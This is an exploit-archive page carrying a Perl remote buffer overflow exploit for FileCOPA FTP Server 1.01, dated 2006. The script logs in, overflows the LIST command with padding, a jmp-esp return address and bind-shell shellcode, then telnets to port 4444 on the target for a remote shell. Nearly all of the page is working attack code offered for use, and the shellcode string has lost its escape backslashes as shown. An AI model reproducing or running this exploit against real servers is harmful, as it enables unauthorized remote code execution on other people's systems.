[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : FileCOPA FTP Server <= 1.01 (LIST) Remote Buffer Overflow Exploit
# Published : 2006-07-20
# Author : Jacopo Cervini
# Previous Title : Cisco/Protego CS-MARS < 4.2.1 (JBoss) Remote Code Execution Exploit
# Next Title : Winlpd 1.2 Build 1076 Remote Buffer Overflow Exploit


#!/usr/bin/perl -w
# bad char 0x00 0x0a
# 
# tested on win00 SP4 English on filecopa ftp server 6/4/2006 version
#
#

use Net::FTP;

(($target = $ARGV[0])) || die "usage:$0 <target> <port>";

my $user = "test";
my $pass = "test";


$shellcode = "xd9xeexd9x74x24xf4x5bx31xc9xb1x5ex81x73x17xe0x66" .
"x1cxc2x83xebxfcxe2xf4x1cx8ex4axc2xe0x66x4fx97xb6" .
"x31x97xaexc4x7ex97x87xdcxedx48xc7x98x67xf6x49xaa" .
"x7ex97x98xc0x67xf7x21xd2x2fx97xf6x6bx67xf2xf3x1f" .
"x9ax2dx02x4cx5exfcxb6xe7xa7xd3xcfxe1xa1xf7x30xdb" .
"x1ax38xd6x95x87x97x98xc4x67xf7xa4x6bx6ax57x49xba" .
"x7ax1dx29x6bx62x97xc3x08x8dx1exf3x20x39x42x9fxbb" .
"xa4x14xc2xbex0cx2cx9bx84xedx05x49xbbx6ax97x99xfc" .
"xedx07x49xbbx6ex4fxaax6ex28x12x2ex1fxb0x95x05x61" .
"x8ax1cxc3xe0x66x4bx94xb3xefxf9x2axc7x66x1cxc2x70" .
"x67x1cxc2x56x7fx04x25x44x7fx6cx2bx05x2fx9ax8bx44" .
"x7cx6cx05x44xcbx32x2bx39x6fxe9x6fx2bx8bxe0xf9xb7" .
"x35x2ex9dxd3x54x1cx99x6dx2dx3cx93x1fxb1x95x1dx69" .
"xa5x91xb7xf4x0cx1bx9bxb1x35xe3xf6x6fx99x49xc6xb9" .
"xefx18x4cx02x94x37xe5xb4x99x2bx3dxb5x56x2dx02xb0" .
"x36x4cx92xa0x36x5cx92x1fx33x30x4bx27x57xc7x91xb3" .
"x0ex1exc2xf1x3ax95x22x8ax76x4cx95x1fx33x38x91xb7" .
"x99x49xeaxb3x32x4bx3dxb5x46x95x05x88x25x51x86xe0" .
"xefxffx45x1ax57xdcx4fx9cx42xb0xa8xf5x3fxefx69x67" .
"x9cx9fx2exb4xa0x58xe6xf0x22x7ax05xa4x42x20xc3xe1" .
"xefx60xe6xa8xefx60xe6xacxefx60xe6xb0xebx58xe6xf0" .
"x32x4cx93xb1x37x5dx93xa9x37x4dx91xb1x99x69xc2x88" .
"x14xe2x71xf6x99x49xc6x1fxb6x95x24x1fx13x1cxaax4d" .
"xbfx19x0cx1fx33x18x4bx23x0cxe3x3dxd6x99xcfx3dx95" .
"x66x74x32x6ax62x43x3dxb5x62x2dx19xb3x99xccxc2";







$pad = "x41"x160;
$nop= "x90"x283;
$nop1= "x90"x32;
$jmp = "xe9xbfx2cxb0xff"; # jmp to address memory 00552aec
#$eip= "x45"x4;
$eip= "x93x79x2ex7c";	# jmp esp in ADVAPI32.dll


$exploit = $pad . $eip . $nop1 . $jmp . $nop . $shellcode . "rn";

print ":: Trying to connect to target system at: $target...n"; $ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not 
connect: $!";
print "Connected!n";

$ftp->login($user, $pass) || die "could not login: $!"; 
print "Logged in!n";

$ftp->command("LIST A", $exploit);
print "Done!n";


$host = $ARGV[0];
print " +connect to port 4444 of $host ...n";
sleep(3);
system("telnet $host 4444");

$ftp->quit; 

# www.Syue.com [2006-07-20]